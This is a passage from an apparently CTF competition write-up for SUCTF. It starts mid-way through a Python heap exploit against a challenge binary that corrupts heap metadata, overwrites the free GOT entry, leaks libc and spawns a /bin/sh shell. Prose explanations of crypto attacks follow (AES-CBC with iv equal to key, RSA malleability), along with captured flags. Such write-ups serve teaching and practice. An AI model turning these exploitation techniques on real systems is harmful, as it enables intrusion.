create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>) <span class="hljs-comment"># 1</span>
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>) <span class="hljs-comment"># 2</span>
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>*<span class="hljs-number">0x98</span>) <span class="hljs-comment"># 3</span>
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>) <span class="hljs-comment"># 4</span>
edit(<span class="hljs-number">3</span>, (p64(<span class="hljs-number">0x90</span> + <span class="hljs-number">0x10</span> + <span class="hljs-number">0x10</span>) + p64(<span class="hljs-number">0x90</span>) + p64(heap_form + <span class="hljs-number">0x18</span> - <span class="hljs-number">0x18</span>) + p64(heap_form + <span class="hljs-number">0x18</span> - <span class="hljs-number">0x10</span>)).ljust(<span class="hljs-number">0x90</span>, <span class="hljs-string">'a'</span>) + p64(<span class="hljs-number">0x90</span>) + <span class="hljs-string">'\xa0'</span>, <span class="hljs-number">0x98</span> + <span class="hljs-number">1</span>)
delete(<span class="hljs-number">4</span>)
edit(<span class="hljs-number">3</span>, p64(free_got)[:<span class="hljs-number">4</span>], <span class="hljs-number">4</span>)
show(<span class="hljs-number">0</span>, <span class="hljs-keyword">True</span>)
libc = r.recvuntil(<span class="hljs-string">'1:creat'</span>)[:<span class="hljs-number">-7</span>]
<span class="hljs-keyword">print</span> (len(libc))
libc = u64(libc.strip().ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>))
<span class="hljs-keyword">print</span> (<span class="hljs-string">'libc : '</span>, hex(libc))
real_system = system + libc - free
<span class="hljs-keyword">print</span> (<span class="hljs-string">'system : '</span>, hex(real_system))
edit(<span class="hljs-number">0</span>, p64(real_system)[:<span class="hljs-number">-2</span>], <span class="hljs-number">6</span>)
r.recvuntil(<span class="hljs-string">'4:edit'</span>)
r.sendline(<span class="hljs-string">'/bin/sh\x00'</span>)
r.interactive()</code></pre><p>flag : SUCTF{L1gFhAuay4qe29EJrP1MyVWoTGSXJiAzDFdnZLZtTbHKeP2j6bLc}</p>
<h2 id="crypto"><a class="header-link" href="#crypto"></a>crypto</h2>
<h3 id="enjoy-(b04902036)"><a class="header-link" href="#enjoy-(b04902036)"></a>Enjoy (b04902036)</h3>
<p>this is a cbc mode aes, we can encrypt and decrypt arbitary text without terminating the process, and the key is equal to iv. With iv == key, we can reconstruct key by the following method</p>
<ol class="list">
<li>generate a 16 bytes text, called C_1</li>
<li>ask server to decrypt a 48 bytes message, which is (C_1, '\X00' * 16, C_1), and get a 48 bytes pseudo plaintext back, which is (P_1, P_2, P_3)</li>
<li>key == xor(P_1, P_3)
flag : flag{iv=key_is_danger}</li>
</ol>
<h3 id="rsa-good-(b04902036)"><a class="header-link" href="#rsa-good-(b04902036)"></a>Rsa good (b04902036)</h3>
<p>in this chal of RSA, we can</p>
<ol class="list">
<li>encrypt</li>
<li>decrypt</li>
<li>get encrypted flag
We can't directly decrypt the flag though, instead the server will return 'permission denied' or somthing like that.
However since RSA is malleable, more percisely, let E(x) denote encrypting x, then E(x) = x ^ e (mod n), and we can have that E(x) <em> E(y) = E(x </em> y) mod(n).
now we have E(flag), and we can get E(2), so we ask the server to decrypt E(flag) * E(2) and divide the answer by 2, and get the flag!
flag : SUCTF{Ju5t_hav3_fun_1n_R34_4Ga1N!}</li>
</ol>
<h3 id="magic-(sasdf)"><a class="header-link" href="#magic-(sasdf)"></a>magic (sasdf)</h3>
<p>The hash algorithm in <code>playMagic</code> is <code>sum(bin(magic[i] & key)) % 2</code>, repeating 256 times to generate 256 bit hash. So we have 256 simultaneous equtations of key under Galois field $F_2$. Solve the equations by Gaussian elimination to get the flag.</p>
<h3 id="rsa-(sasdf)"><a class="header-link" href="#rsa-(sasdf)"></a>rsa (sasdf)</h3>
<p>Refer to <a href="https://balsn.tw/ctf_writeup/20180526-suctf/#rsa-sasdf">https://balsn.tw/ctf_writeup/20180526-suctf/#rsa-sasdf</a></p>
<h3 id="pass-(sasdf)"><a class="header-link" href="#pass-(sasdf)"></a>pass (sasdf)</h3>
<p>Refer to <a href="https://balsn.tw/ctf_writeup/20180526-suctf/#pass-sasdf">https://balsn.tw/ctf_writeup/20180526-suctf/#pass-sasdf</a></p>
<h4 id="authentication-scheme"><a class="header-link" href="#authentication-scheme"></a>Authentication scheme</h4>
<h4 id="prng"><a class="header-link" href="#prng"></a>PRNG</h4>
</article>
</div>
</div>
</body>